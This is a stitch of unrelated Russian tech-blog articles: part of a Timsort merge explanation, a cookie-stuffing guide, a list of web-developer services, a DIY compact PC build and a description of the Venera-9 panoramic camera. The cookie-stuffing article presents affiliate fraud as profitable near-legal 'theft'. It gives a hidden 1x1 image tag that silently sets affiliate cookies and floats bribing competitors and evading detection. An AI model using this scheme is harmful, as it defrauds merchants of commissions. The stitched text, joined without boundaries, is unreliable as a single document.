На данном этапе у нас имеется входной массив, разбитый на подмассивы, каждый из которых упорядочен. Если данные входного массива были близки к случайным — размер упорядоченных подмассивов близок к minrun, если в данных были упорядоченные диапазоны (а исходя из рекомендаций по применению алгоритма, у нас есть основания на это надеяться) — упорядоченные подмассивы имеют размер, превышающий minrun.
Теперь нам нужно объединить эти подмассивы для получения результирующего, полностью упорядоченного массива. Причём по ходу этого объединения нужно выполнить 2 требования:
- Объединять подмассивы примерно равного размера (так получается эффективнее).
- Сохранить стабильность алгоритма — т.е. не делать бессмысленных перестановок (например, не менять два последовательно стоящих одинаковых числа местами).
Достигается это таким образом.
- Создаем пустой стек пар <индекс начала подмассива>-<размер подмассива>. Берём первый упорядоченный подмассив.
- Добавляем в стек пару данных <индекс начала>-<размер> для текущего подмассива.
- Определяем, нужно ли выполнять процедуру слияния текущего подмассива с предыдущими. Для этого проверяется выполнение 2 правил (пусть X, Y и Z — размеры трёх верхних в стеке подмассивов):
X > Y + Z
Y > Z
- Если одно из правил нарушается — массив Y сливается с меньшим из массивов X и Z. Повторяется до выполнения обоих правил или полного упорядочивания данных.
- Если еще остались не рассмотренные подмассивы — берём следующий и переходим к пункту 2. Иначе — конец.
Цель этой хитрой процедуры — сохранение баланса. Т.е. изменения будут выглядеть вот так:
а значит, размеры подмассивов в стеке эффективны для дальнейшей сортировки слиянием. Представьте себе идеальный случай: у нас есть подмассивы размера 128, 64, 32, 16, 8, 4, 2, 2 (забудем на секунду о наличии требования «размер подмассива >= minrun»). В этом случае никаких слияний не будет выполнятся пока не встретятся 2 последних подмассива, а вот после этого будут выполнены 7 идеально сбалансированных слияний.
Процедура слияния подмассивов
Как Вы помните, на втором шаге алгоритма мы занимаемся слиянием двух подмассивов в один упорядоченный. Мы всегда соединяем 2 последовательных подмассива. Для их слияния используется дополнительная память.
- Создаём временный массив в размере меньшего из соединяемых подмассивов.
- Копируем меньший из подмассивов во временный массив
- Ставим указатели текущей позиции на первые элементы большего и временного массива.
- На каждом следующем шаге рассматриваем значение текущих элементов в большем и временном массивах, берём меньший из них и копируем его в новый отсортированный массив. Перемещаем указатель текущего элемента в массиве, из которого был взят элемент.
- Повторяем 4, пока один из массивов не закончится.
- Добавляем все элементы оставшегося массива в конец нового массива.
Модификация процедуры слияния подмассивов
Всё, вроде бы, хорошо в показанном выше алгоритме слияния. Кроме одного. Представьте себе процедуру слияния двух вот таких массивов:
A = {1, 2, 3,..., 9999, 10000}
B = { 20000, 20001, ...., 29999, 30000}
Вышеуказанная процедура для них, конечно, сработает, но каждый раз на её четвёртом пункте нужно будет выполнить одно сравнение и одно копирование. И того 10000 сравнений и 10000 копирований. Алгоритм Timsort предлагает в этом месте модификацию, которую он называет «галоп». Суть в следующем:
- Начинаем процедуру слияния, как было показано выше.
- На каждой операции копирования элемента из временного или большего подмассива в результирующий запоминаем, из какого именно подмассива был элемент.
- Если уже некоторое количество элементов (в данной реализации алгоритма это число жестко равно 7) было взято из одного и того же массива — предполагаем, что и дальше нам придётся брать данные из него. Чтобы подтвердить эту идею, мы переходим в режим «галопа», т.е. бежим по массиву-претенденту на поставку следующей большой порции данных бинарным поиском (мы помним, что массив упорядочен и мы имеем полное право на бинарный поиск) текущего элемента из второго соединяемого массива. Бинарный поиск эффективнее линейного, а потому операций поиска будет намного меньше.
- Найдя, наконец, момент, когда данные из текущего массива-поставщика нам больше не подходят (или дойдя до конца массива), мы можем, наконец, скопировать их все разом (что может быть эффективнее копирования одиночных элементов).
Возможно, объяснение слегка туманно, попробуем на примере.
A = {1, 2, 3,..., 9999, 10000}
B = { 20000, 20001, ...., 29999, 30000}
- Первые 7 итераций мы сравниваем числа 1, 2, 3, 4, 5, 6 и 7 из массива A с числом 20000 и, убедившись, что 20000 больше — копируем элементы массива A в результирующий.
- Начиная со следующей итерации переходим в режим «галопа»: сравниваем с числом 20000 последовательно элементы 8, 10, 14, 22, 38, n+2^i, ..., 10000 массива A. Как видно, таких сравнение будет намного меньше 10000.
- Мы дошли до конца массива A и знаем, что он весь меньше B (мы могли также остановиться где-то посередине). Копируем нужные данные из массива A в результирующий, идём дальше.
Вот и весь алгоритм.
Материалы по теме
Часть хабралюдей честные и бескорыстные и привлекают их всякие техническия штучкэ. Но кое-кто кое-где у нас порой и не столь бескорыстен. Честно жить не хочет. Я расскажу вам о том, как можно по сути воровать, но при этом не выходя за рамки уголовного кодекса. Эдак с $15,000,000.
Сразу: речь пойдет про cookie stuffing. Если вы это все знаете, то дальше можно не читать. Описание рассчитано и на не сильно технически подкованного пользователя. Что бы люди от бизнеса тоже поняли. Подкованым текст может показаться затянутым. Прыгайте сразу на «Техническая реализация».
Организационный аспект
Тут многие в курсе как работает обычная аффилиатская программа. Есть сайт магазина. В нем товар. Тут хозяин обнаруживает, что недурно бы еще и посетителей в этом магазине увидеть. Помимо очевидностей типа поисковиков его посещает здравая мысль: а что если за небольшую долю от выручки попросить людей приводить покупателей в магазин? Вот привел Вася покупателя в магазин, оставил покупатель в кассе 100 долларов – 10 из них Васе за маркетинг. Довольный своей идеей хозяин печатает пачку розовых карточек, на них ставится какой-то код Васи и на кассе, пробивая товар клиенту, кассир интересуется у покупателя наличием карточки. Если есть – продажа записывается Васе в актив. Позднее ему выплачивается соответствующая комиссия.
На первый взгляд хозяин ничем не рискует. Действительно, он же платит только уж из ранее полученых денег. Однако Васе недоедает бегать по морозу, ловить людей за рукав и уговаривать зайти в тыщщу лет никому ненужный магазин. Он соображает, что платят ему по сути не за привлечение клиента, а по срабатыванию триггерного механизма – наличию у покупателя розовой карточки. Возникает очевидная идея: а что если уйти с мороза, зайти в сам магазин и начать раздавать карточки прямо в очереди в кассу? И даже не раздавать, а тихонечно засовывать их людям в нагрудный карман, всем подряд. Ведь какие-то люди заходят в магазин и сами, безо всяких уговоров. И даже что-то покупают. Вот им и совать карточки. В таком случае заработки Васи резко возрастут, да и теплее в помещении. Правда вот в оффлайне, конечно, хозяин сразу заметит Васю и выгонит на три буквы. Но интернет ведь не столь прозрачен порой?
Техническая реализация
Роль розовых карточек выполняют куки. Сайт магазина генерирует ссылки вида shop.com/?affID=12, где 12 это ID Васи. shop.com/?affID=12 показывает посетителям тоже самое, что и просто site.com. Только теперь скрипт магазина еще и ставит посетителю куку, скажем asdf, и пишет у себя в базе: в 12:12:12 12/12/12 Вася прислал нам посетителя и мы поставили ему куку asdf. Параллельно поток уже сделавших заказы проходит через страницу shop.com/thankyou, где сообщается что спасибо мол, дорогой покупатель, Ваш заказ номер 123 на $100 оформлен и скоро будет доставлен. А в это время под столом скрипт магазина проверяет: а нет ли у покупателя какой-то из ранее поставленных кук? И опа, обнаруживается что в 12:22:12 12/12/12 на странице подтверждения платежа появился свежезаплативший 100 долларов тот самый носитель куки asdf, то есть посланый Васей клиент. После этого сверяется время: между появлением тогда еще будущего покупателя и собственно покупкой прошло 10 минут. Это меньше ранее оговореного срока, а стало быть покупка засчитывается за Васей. N.B. обычно этот срок исчисляется неделями. 30 дней практически стандарт.
Казалось бы все хорошо и хозяин shop.com ничем не рискует. Ведь он платит только за посетителей, которых Вася фактически прислал на сайт магазина. Причем только за тех, кто превратился в покупателя. В его представлении Вася разместил на vasya.com ссылку типа <a href='http://www.shop.com/?affID=12'>Самый лучший магазин!</a>
И изо всех сил бегает по морозному интернету уговаривая людей ознакомиться с его рекомендацией. А в это время Вася начинает экспериментировать. Для начала он ставит у себя на сайт не совсем ссылку, а глубоко в подвал следующий код:
<img src='http://www.shop.com/?affID=12' height='1' width='1'></img>
Теперь, браузер посетителя Васиного сайта видит команду изобразить где-то в подвале картинку 1*1, а собственно файл картинки взять по ссылке shop.com/?affID=12. Он послушно бежит на это ссылку, забирает оттуда контент, но это оказывается не картинка вовсе. Браузер посетителя Васиного сайта выводит сообщение “картинка ёк” – в отведенном для этого пространстве в один пиксель размером. Короче посетитель даже не подозревает о существовании какого-то там shop.com, однако бразуер его сообщениями с сервером shop.com обменялся. Страничку shop.com/addID=12 загрузил. А следовательно получил свою куку от shop.com. Таким образом Вася, как видите, решил вопрос незаметного засовывания тех самых розовых карточек в кармашки прохожим. Если так случится, что этот самый посетитель сайта vasya.com в течении оговоренного срока таки что-то купит на shop.com – Вася получит свою долю. И все это несмотря на то, что на самом деле он никакой рекламы для shop.com не делал вообще. И ни одним кликом трафика не пожертвовал. Конечно на img свет клином не сошелся. Тут можно использовать яваскрипты или что-то еще. Но пока оставим это за рамками.
Подбираемся к кассе
Засовывать куки насильно мы уже умеем. Теперь вопрос как подобраться к кассе, что бы засовывать карточки именно идущим платить. Подробнее этот вопрос тоже будет в следующих сериях, а пока кратко, чисто идею. Предположим что Вася не просто Вася, а вообще-то прямой конкурент хозяина shop.com. Они оба продают крокозябрики и страшно толкаются в поисковой выдаче. Покупатели потенциальные смотрят почем крокозябрики у Васи, почем у хозяина и как-то решают у кого брать. То есть вероятность того, что покупатель shop.com был незадолго до покупки на vasya.com, относительно высока. Вот Вася записывается в аффилиаты к конкуренту. Теперь если покупатель выбрал Васю, то Вася оставляет себе всю прибыль. Если покупатель выбрал хозяина, то Вася получает хотя бы комиссию. Конечно то, что Вася имеет кучу тематического трафика – это некоторое допущение. Но предположим что Вася ловкий малый, просто пошел к конкурентам shop.com и за скромную мзду договорился о размещении у них такого вот кода. В общем подробнее об этом в следующих сериях, если тема интересна.
Финансовая сторона
Ради чего все это? Сколько там денег то на этой мелочевке получить можно. Откуда 15 миллионов в аннотации взялось, собственно? 25 августа 2008 года Ebay подал в суд на некоего господина по имени Shawn Hogan и его компанию Digital Point Solutions. Согласно утверждениям Ибея Шон наказал их на 15,5 миллионов долларов в период с 2006го по середину 2007го года. И не он один такой. Мистер Dunning, второй упомянутый в иске, отличился на 5,3 миллиона. Далее по списку. Есть ради чего вникать в детали.
Юридическая сторона
А не посадят? Вопрос правильный. Ответ на него, к сожалению, неправильный. Несмотря на то, что такие операции по сути своей являются воровством, однако это тема новая и юристы до сих пор не определились с квалификацией этого дела. Гражданский иск Ибея к Шону и сотоварищам до сих пор не разрешился ничем. Попытка уголовного преследования этих людей однако, закончилась более удачно. 24го июня 2010 их наконец взяли в оборот. Но только изза нескольких формальных зацепок. Cамо преследование Шона и друзей стало возможным только потому, что они вообще всякий страх потеряли. Конкретно Шон организовал рекламную сеть, куда открыто приглашал людей которым столь же открыто расписывал: «Давайте воровать у Ибея вместе!». И все это в штатах. В других странах вообще никаких проблем нет.
Дополнительные ссылки:
1. тем кто по-английски читает: жалоба Ибея на всю эту братию. Первоисточник, а посему написан тяжелым юридическим языком.
2. Куча примеров технического исполнения стаффинга. Собственно там же англоязычное описание.
3. Есть еще обвинения Даннинга (миллионы перечислены на 3ей странице) и Хогана (миллионы тоже на 3ей странице, в 7ом пункте).
P.S. Не надо все бросать и бежать воровать миллионы. Описанная выше схема, вот именно так, как она есть, ловится в 30 секунд.
В принципе рассказаного достаточно, но если хабралюдям интересно, то я могу отдельно рассказать как такое ловится, как обходить ловцов и как масштабировать процесс до неприлично богатого уровня. И как ловить уже и такое. Если интересно — говорите, продолжу.
Под катом — описание восьми сервисов, которые могут заметно облегчить жизнь веб-разработчика, верстальщика или дизайнера.
1. Wordmark.it
Сервис для подбора шрифтов Wordmark.it — позволяет увидеть написание заданной фразы со всеми шрифтами, установленными на вашем компьютере. Шустро грузит, удобные фильтры. Жаль, нет возможности задать цвета фона и букв.
2. Spritebox
Спрайтбокс предназначен для «нарезки» картинок на спрайты. Загружаете картинку, выделяете нужные области, пара кликов — и у вас есть готовые css-стили для спрайтов.CSS-спрайты — это представление большого количества мелких картинок, путем создания одной большой картинки, что существенно экономит время загрузки и ресурсы сервера (запрос идет всего-лишь на одну картинку, вместо всех).
3. CSS3 Generator
CSS3 Generator поможет вам грамотно использовать возможности CSS3: покажет список доступных CSS3-стилей, сгенерирует кроссбраузерный код для них, сообщит о том, какие браузеры поддерживают или не поддерживают данные стили.
4. ProCSSor
ProCSSor — инструмент для проверки/форматирования css-стилей. Загружаете свой styles.css, выбираете настройки форматирования и получаете на выходе красивый валидный css-код.
5. Super Conversion Button
Super Conversion Button — инструмент для быстрого создания дизайнов кнопок. Просто выбираете стили, цвета, текст надписи и т.д.
6. 0 to 255
0 to 255 — простой и удобный сервис подбора оттенков цветов. Думаю, по скриншоту все и так понятно.
7. Frame Box
Frame Box — сервис для создания так называемых «wireframes» — структурных схем таблиц. Очень полезная вещь на стадии проектирования разметки новых сайтов или каких-либо веб-интерфейсов. Созданные схемы можно сохранять, а также делиться ссылками на них.
8. jsFiddle
Сервис jsFiddle — эдакая «песочница» для веб-разработчиков. Рабочая часть окна разделена на 4 части: HTML, CSS, JavaScipt и результат. В меню слева выбираем js-фреймворк, библиотеки к нему, спецификацию HTML и т.д. В соответствующих частях рабочей области пишем код — и незамедлительно видим готовый результат. Проекты можно сохранять и делиться ими.
Подборка сервисов взята отсюда, спасибо за внимание, надеюсь, статья была полезной.
На написание этой статьи меня подтолкнули многочисленные просьбы моих друзей о том, что я «должен поведать об этом миру». Разговор пойдет о компактном и достаточно мощном компьютере, собранном своими руками аж в октябре 2011 года. Изначально немного о причинах этого и истории создания.
Осторожно, в статье много картинок.
Предыстория
Необходимость в компактной и мощной машине у меня возникла по следующей причине. Я достаточно тесно связан с работой в трехмерном пространстве и визуализацией. Ну, а как некое хобби — люблю часок-другой поиграть в хороший шутер. Требования к машине при таких составляющих понятны. Необходимость в мобильности машины продиктована еще и следующим: часто и дома поработать приходится, да и комп для таких людей как я — всегда нечто большее, чем коробка в офисе. Из-за этого долгое время покупал «топовые» ноутбуки — т.н. рабочие станции, по цене они тянули за 80 т.р. У меня таких было две: первая успешно работает до сих пор, радуя хорошим экраном, вторая дважды была в ремонте, но все равно «сдохла». Но когда у друга попробовал стационарный компьютер с действительно мощным железом, пришло понимание, что с ним не сравнится ни один ноут — рабочая станция, да и есть все-таки в работе за стационарником свой кайф — большие мониторы, полноценная клава и свобода на столе.
Как следствие этого понимания, решил «и на елку влезть и рыбку съесть», собрать максимально мощный и максимально компактный комп. При помощи трехмерной программы, перебрав множество различных элементов компоновки, мной был запроектирован оптимальный для меня компьютер.
Спецификация компонентов компьютера (цены на октябрь 2011 года):
- Материнская плата (Gigabyte GA-H67N-USB3-B3) — 3562 р.
- Процессор (Intel Core i7-2600K, 3.40ГГц, 8МБ, LGA1155, OEM) — 9437 р.
- Процессорный кулер (Thermalright AXP-140(RT)) — 2090 р.
- Оперативная память (DDR3 8Gb (2x4Gb) PC3-12800 1600MHz DIMM Kingston Hyper X Genesis, BOX) — 2260 р.
- Видеокарта (AMD Radeon HD 6970 2048Mb MSI, PCI-E, DVIx2, HDMI, miniDPx2, Retail) — 10180 р.
- Жесткий диск (2.5" 120 GB SATA Solid State Disk (SSD) Intel 510 MLC) — 8730 р.
- Блок питания (ATX 600W Cooler Master GX Lite RS600-ASABL3 (докуплен позже)) — 2300 р.
- Wifi usb адаптер (TP-LINK WN722NC, 150Mbps 802.11n) — 430 р.
Итого комплектующие — 38989 р.
Дополнительно:
- Корпус (Silver Stone Sugo SG07), пришлось продавать — 6887 р.
- Жесткий диск (2.5'' 320Gb Seagate Momentus, SATA 3Gb/s, 5400 rpm), уже был — 1440 р.
Сборка
Вопрос уперся в изготовление корпуса. Нужен был полностью индивидуальный. Фирмы лазерной резки и гибки металла, увидев чертежи выдали такой ценник, что Apple и Dell просто отдыхают. Погрустил и пошел по самому простому пути — собрал все в наиболее компактном корпусе, который вообще существовал и до сих пор, как я понимаю, существует для подобных по мощности машин — SilverStone Sugo SG07.
В общем, сборка в этом корпусе была выполнена быстро и успешно. Но «червячок» грыз: этот корпус, на мой взгляд, спроектирован не рационально, как с точки зрения компоновки компьютерных «потрошков», так и с точки зрения нужности некоторых компонентов конкретно для меня. Увы — издержки продукта для массового потребителя. Короче — решил и корпус сделать сам. Руки вроде, растут откуда надо, да и в школе на уроках труда в носу не ковырял. Осенило меня не сразу, хотел сначала металл резать и т.д. Потом дошло — можно купить уголков алюминиевых, и собрать их на винтики, нарезав резьбу метчиком. Алюминий металл мягкий, проблем при этом быть не должно. Срочно был адаптирован проект компьютера под изменившиеся условия.
Самый большой ящик на картинках — это габарит Sugo SG07.
Недешёвый корпус Sugo SG07 с очень хорошим БП, пришлось пустить на продажу. До сих пор, кстати, никто не купил — даже жалко.
Был приобретен новый блок питания Cooler Master серии GX Lite, с «сильной» линией +12V, вскрыт и «слегка» оптимизирован. А именно: были удалены лишние провода — Molex, аппендикс FDD. Одна ветка SATA заглушена и припасена на случай подключения еще чего-нибудь в случае нужды. Ну и конечно, укорочены все остальные ветки под необходимую длину. Разрезал и спаял каждый провод. Идеальный вариант — вынуть из разъемов и обжать заново каждый проводок (разъемы 24 pin, 4 pin «матери» и 6+2 pin «видео»). Вынуть их очень легко, но обжать без соответствующего оборудования и новых «штырьков» невозможно. Каюсь — не нашел и тонкой термоусадки, поэтому спаянные концы проводов обмотал изолентой. С проводами SATA все просто — их разъемы с ножами, вскрываешь и устанавливаешь заново, где нужно. Понятно — при таких манипуляциях про гарантию блока пришлось забыть (аж 3 года!). Поэтому блок выбирал изначально достаточно надежный.
Что еще? В магазине были куплены алюминиевый профиль (уголок 15х15х2 и полоса 15х2 длиной 2м и то и другое), кучка винтиков и два метчика (Цена за все — «три копейки»). Далее — сборка. Все прошло как по маслу. Благодаря 3D-модели, все детали гарантированно подошли друг к другу. Пришлось чуть модернизировать и видеокарту: дополнительное питание организовал по припаянным к плате проводкам — стандартные разъемы слишком сильно торчали бы над корпусом. В качестве новых штекеров использовал обычный клеммник. Плюс — полностью удалил металлическую посадочную скобу видеокарты (там, где разъемы подключения мониторов).
По традиции — извиняюсь за фотки «сборочного этапа». Во-первых, делал не для статьи, а для себя — чтоб не забыть где что. Во-вторых, делал их телефоном. Потом, конечно, «тянул» в редакторе, но все равно — «кака». Но и то хорошо, что хоть эти остались.
Картинки сборочного этапа: 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15
Итог
Вот что получилось. Габариты этого агрегата — 290х210х130(h)мм.
По идее, сверху на комп надо сделать, заказать в той же лазерной резке, декоративную решетку. И чертеж есть, да все никак время не найти. Снизу и сбоку делать точно ничего не надо. Сзади, на вентилятор БП, прикрутил обычный «гриль». Как показало время, а эксплуатируется комп более года, даже верхняя решетка нужна скорее для красоты (пальцы в кулер и блок питания никто не сует), но это завершит комп как изделие, придаст ему законченный вид и некий шик.
Что мы имеем в сухом остатке. Очень компактный компьютер с параметрами, которые и спустя год, вполне себе ничего. Специально под этот агрегат была куплена маленькая сумка. Туда влезает еще пара шнуров и всякая мелочевка, вроде флешек и т.п. По удобству использования — носить удобней, чем сумку с ноутом, по весу — практически одинаково, 100 грамм туда-сюда не принципиально.
Два монитора на работе и один дома, два комплекта клав и мышек, дома проводной. Конечно, здесь нет встроенного звука, но он встроенный мне и не нужен. На работе — монитор с колонками (через HDMI). Дома — качественные наушники с гарнитурой, а когда смотрю фильмы, подключаю TV-панель и колонки (звук 5.1).
В общем агрегатом очень доволен, решение было принято однозначно правильное, с ноутом не сравнить. Ну а по цене вопроса — сами видите, даже с учетом стоимости дополнительного монитора, клавы и мышки, очень «вкусно» получилось. При этом — бескомпромиссная мощь и реальная мобильность. В принципе — в этом корпусе даже модернизация компьютера возможна, хотя она вряд ли понадобится. Технологии развиваются так быстро, что скоро смартфоны будем к мониторам подключать и на них работать.
Я до сих пор удивляюсь, почему подобные штуки не делают фирмы-производители корпусов. Их бы возможности, какую «конфетку» можно было бы сделать! И покупатели наверняка бы нашлись.
Ну и в конце, еще пара деталей про комплектацию при сборке «товарища», если кому интересно. Долго искал кнопки включения и перезагрузки. Так и не нашел готовых, хотел даже старый корпус покупать. Помог случай. В «загашнике» были проводки старые с насадками на штырьки — как раз что надо. Саму кнопку включения купил в магазине, она для авто была, с дудочкой нарисованной — дудочку сточил надфилем. Для перезагрузки припаял сенсорную кнопку от старой мышки, короткий огрызок сделал — сантиметра полтора от штекера до кнопки. Слава богу, перезагружать не приходится. Светодиодик включения тоже пригодился, как без него порядочному компьютеру? В общем — внимание к деталям, аккуратность, все на стяжечки и т.п.
Дополнительные картинки: 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11
Когда мы слышим «фотография с поверхности другой планеты», то первым на ум, как правило, приходит Марс. Оно, конечно, и не удивительно: в последние годы мы избалованы стереоскопическими снимками HRSC, панорамами HiRISE с огромным разрешением, и марсоходом Curiosity с почти ежедневными фотоотчетами. И даже когда речь заходит об истории вопроса, вспоминаем успех американских миссий «Викинг». Но мало кто помнит (или даже знает) о том, что первая в истории фотография с поверхности другой планеты получена не на Марсе и не американским аппаратом, а советской станцией «Венера-9» в 1975 году.
В этом топике я хочу восстановить историческую справедливость и рассказать о том, как советским инженерам удалось создать устройство, которое успешно осуществило панорамную съемку в условиях крайне агрессивной среды при температуре более 470°С и давлении в 93 атм.
История советского успеха в изучении Венеры описана достаточно неплохо (да хоть в Википедии), поэтому я обозначу лишь основные вехи:
- В 1961 году был отправлен первый в истории человечества аппарат, предназначенный для исследования других планет, «Венера-1».
- 1967 год — «Венера-4» стала первым аппаратом, проникшим в атмосфру планеты и передавшим оттуда научные данные.
- 1970 год — спускаемый аппарат «Венера-7» совершил мягкую посадку на поверхность Венеры, информация передавалась 53 минуты, в том числе 20 минут — с поверхности (это первый случай радиосвязи с поверхности другой планеты).
- 1975 год — первые черно-белые панорамные изображения с поверхности другой планеты («Венера-9, 10»).
- 1982 год — впервые были получены цветные изображения поверхности и проведён прямой анализ грунта планеты («Венера-13, 14»).
Итак, к моменту запуска «Венеры-9» у советских ученых было достаточно информации о тех условиях, в которых предстояло вести фотосъемку: в первую очередь, это параметры температуры и давления, необходимые для правильного расчета инженерных конструкций (до «Венеры-4» давление атмосферы считалось равным 10 атм, что привело к разрушению этого спускаемого аппарата еще до достижения им поверхности планеты), а также параметры освещенности для корректной настройки фотоаппаратуры (так, из-за неправильных выдержек фотоснимки с «Марса-2» и «Марса-3» практически не представляли научной ценности).
В состав научной аппаратуры спускаемого аппарата «Венера-9» входили: системы измерения температуры и давления, масс-спектрометр для определения химического состава атмосферы, акселерометры, нефелометры (2), фотометр для исследования светового режима (3 полосы в видимой области + 2 ИК в трех телесных углах), фотометр на полосы поглощения CO2 и H2O, анемометр, гамма-спектрометр для определения содержания естественных радиоактивных элементов в венерианских породах, радиационный плотномер для определения плотности грунта в поверхностном слое планеты, панорамные телефотометры (2).
Для получения изображения поверхности Венеры в месте посадки спускаемого аппарата панорамная камера устанавливалась в герметичном приборном отсеке, в котором в течение длительного времени обеспечивались нормальные условия по температуре и давлению. Кроме того, необходимо было создать «оптическое окно» к поверхности Венеры, где давление могло достигать 100 атм, а температура 500°С, и не допускать их влияния на камеру. Эти обстоятельства требовали целого ряда оригинальных технических и конструкторских решений. Так, за двое суток до подлета к планете производилось внутреннее захолаживание системы (до -10°С). Для стабилизации внутреннего температурного режима во время работы на поверхности использовались сотовые композитные материалы с малой теплопроводностью, экранно-вакуумная изоляция, аккумуляторы тепла из тригидрата азотнокислого лития, обладающего высокой удельной теплоемкостью и температурой плавления ~30°C. После 75-минутного спуска и часовой работы на поверхности Венеры, температура внутри спускаемого аппарата поднялась с начальных -10°C до 60°C.
Существенное влияние на конструктивно-компоновочную схему оказал комплекс задач, связанных с обеспечением необходимого поля зрения камеры и разрешения на поверхности. В НПО им. Лавочкина (разработчик аппарата) было признано наиболее целесообразным расположить камеру в верхней зоне приборного контейнера. Однако ввиду необходимости передачи изображения как ближнего, так и дальнего плана ось панорамирования камер была наклонена на 50° к вертикальной оси посадочного аппарата. При этом минимальное расстояние от поверхности до камеры составляло около 1 м. Таким образом в поле зрения камеры должна была попасть часть устройства с нанесенными на нее тестовыми контрастными изображениями. Такое расположение камеры позволяло получить изображение поверхности при малой прозрачности атмосферы и определить фотометрические характеристики поверхности планеты, а также в случае благоприятных метеоусловий получить панораму, охватывающую значительную площадь поверхности Венеры.
В месте установки камеры со стороны наружной части приборного отсека располагался оптический иллюминатор цилиндрической формы:
Иллюминатор был изготовлен из толстостенного кварцевого стекла толщиной 10 мм с фокусным расстоянием 371 мм и светопропусканием 95%. Внутри цилиндрического иллюминатора было расположено перископическое устройство камеры со сканирующим зеркалом. Тем самым основные тепловые потоки, проникающие через иллюминатор, воздействовали только на верхнюю часть камеры, не достигая электронной аппаратуры.
Для обеспечения заданного теплового режима и исключения влияния высокой температуры на аппаратуру камера и иллюминатор были закреплены в приборном отсеке при помощи нетеплопроводных и теплопоглотительных конструктивных элементов. Иллюминатор был закрыт мощной теплоизоляцией, за исключением смотрового выреза‚ обеспечивающего необходимое поле зрения. Смотровой вырез, в свою очередь, был закрыт теплоизоляционной крышкой, которая с помощью пироустройств сбрасывалась после посадки. Этим обеспечивался, во-первых, тепловой режим камеры во время снижения, а во-вторых‚ защита стекла иллюминатора от возможного закопчения, осаждения и конденсации на нем продуктов газовыделения теплозащиты и каких-либо непрозрачных осадков из атмосферы Венеры.
Поскольку у советских инженеров имелся большой положительный опыт использования оптико-механических панорамных камер на лунных аппаратах, как неподвижных («Луна-Э», «Луна-13»), так и подвижных («Луноход-1», «Луноход-2»), а оптические и электрические характеристики этих камер в целом соответствовали потребностям венерианской миссии, было решено использовать именно их. Единственное, в отличие от лунных камер, работавших непосредственно во внешней среде, в данном случае была предусмотрена защита от особо жестких климатических воздействий на Венере.
Сборка камеры:
В оптико-механической панорамной камере используется принцип сканирующего телефотометра. Основные элементы камеры и их установка на аппарате:
Как уже говорилось выше, камера была расположена внутри герметичного и теплоизолированного корпуса. Съемка поверхности производится через цилиндрический иллюминатор, внутри которого установлено сканирующее зеркало и элементы его привода. Обзор окружающей поверхности в номинальном угле 40х180° осуществляется за счет двух движений сканирующего зеркала — вращения вокруг оси панорамирования и качания в плоскости, проходящей через эту ось. Для повышения надежности получения изображения в условиях пониженной освещенности или очень малых контрастов снаружи были установлены два источника искусственного света, освещающих локальные зоны поверхности в двух секторах панорамы.
Устройство камеры:
Конструктивно камера разбивается на две части: основной корпус и перископическое устройство. Перископ выносил за пределы теплоизоляционных оболочек сканирующее зеркало и располагается в зоне, где температура могла достигать 475°С. Основной же корпус с электронными блоками и оптической системой находится в зоне, где рабочая температура не превышала 40-50°С. Перископическое устройство выполнено в виде тонкостенной трубы из материала с низкой теплопроводностью. Качание зеркала от кулачка и толкателя производилось через проволочную тягу длиной 250 мм. Труба перископа, вращавшаяся при панорамном обзоре, была установлена на шарикоподшипниках, между которыми был расположен радиатор, обеспечивающий передачу тепла на корпус. В самом корпусе по всему периметру были сделаны герметичные полости, заполненные тригидратом азотнокислого лития, обладающим большой теплоемкостью.
Оптическая схема камеры:
Пучок лучей от поверхности, проходя через иллюминатор, становится расходящимся в сагиттальном сечении, так как иллюминатор представляет собой цилиндрическую линзу (см. фотографию выше). Расходящийся пучок падает на сканирующее зеркало и, отражаясь от него, попадает на компенсирующую цилиндрическую линзу, передний фокус которой совпадает с задним фокусом иллюминатора. После линзы пучок снова становится параллельным и, отражаясь от поворотного зеркала, проходит через объектив с фокусным расстоянием 28 мм и относительным отверстием 1:2. В плоскости изображения стоит диафрагма, которая является развертывающим элементом, формирующим апертурную характеристику камеры. После диафрагмы пучок попадает на светоприемник. На время обратного хода строчной развертки световой поток перекрывается гребешком обтюратора. В это же время фотодиод засвечивается лампой накаливания через отверстие на обтюраторе и формирует электрический импульс начала обратного хода. Во время обратного хода происходит калибровка прибора. Для этой цели свет от лампы, яркость которой стабилизирована, с помощью световода подается на светоприемник.
Сканирующее зеркало совершает колебательное движение (строчная развертка), отклоняя световые пучки на угол ±20° с линейной угловой скоростью и обратным ходом, составляющим 10% от периода строки. Одновременно сканирующее зеркало поворачивается вокруг оси панорамирования. Конструкция камеры позволяла производить полный панорамный обзор в угле 360°, однако поле зрения, не закрытое элементами самого аппарата, составляет величину, примерно в два раза меньшую, поэтому панорамная развертка ограничена углом 180±4°.
Приводом оптико-механической части служил двигатель постоянного тока, скорость вращения которого стабилизирована с помощью сервосистемы с опорой на частоту, подаваемую от бортового хронизатора. Номинальной угловой разрешающей способности 21' соответствует четкость в 115 элементов в строке, которая ограничивалась не апертурной характеристикой камер, а частотой дискретизации видеосигнала (в строчном направлении) и заданным шагом панорамной развертки. При угловом разрешении 21' в ближней зоне могли быть обнаружены детали поверхности с размерами около 10 мм, а достоверно должны были различаться детали, имеющие размеры в несколько раз больше. Объективы камер были настроены на гиперфокальное расстояние, благодаря чему можно получить резкое изображение предметов, находящихся на расстоянии 800 мм и далее от иллюминатора, т. е. во всех зонах панорамного обзора, включая край посадочной платформы.
Основные параметры камеры:
| Число элементов в строке (без обратного хода) |
115 |
| Число строк в панораме |
517±13 |
| Число элементов в обратном ходе |
13 |
| Время передачи строки, с |
3,5 |
| Время передачи панорамы, мин |
30±0,9 |
| Диапазон передаваемых плотностей |
0-1,2 (1‚5) |
| Число уровней квантования видеосигнала |
64 (6 бит) |
| Масса камеры, кг |
5,8 (в том числе соли лития — 2,1 кг) |
| Потребляемая мощность, Вт |
5 |
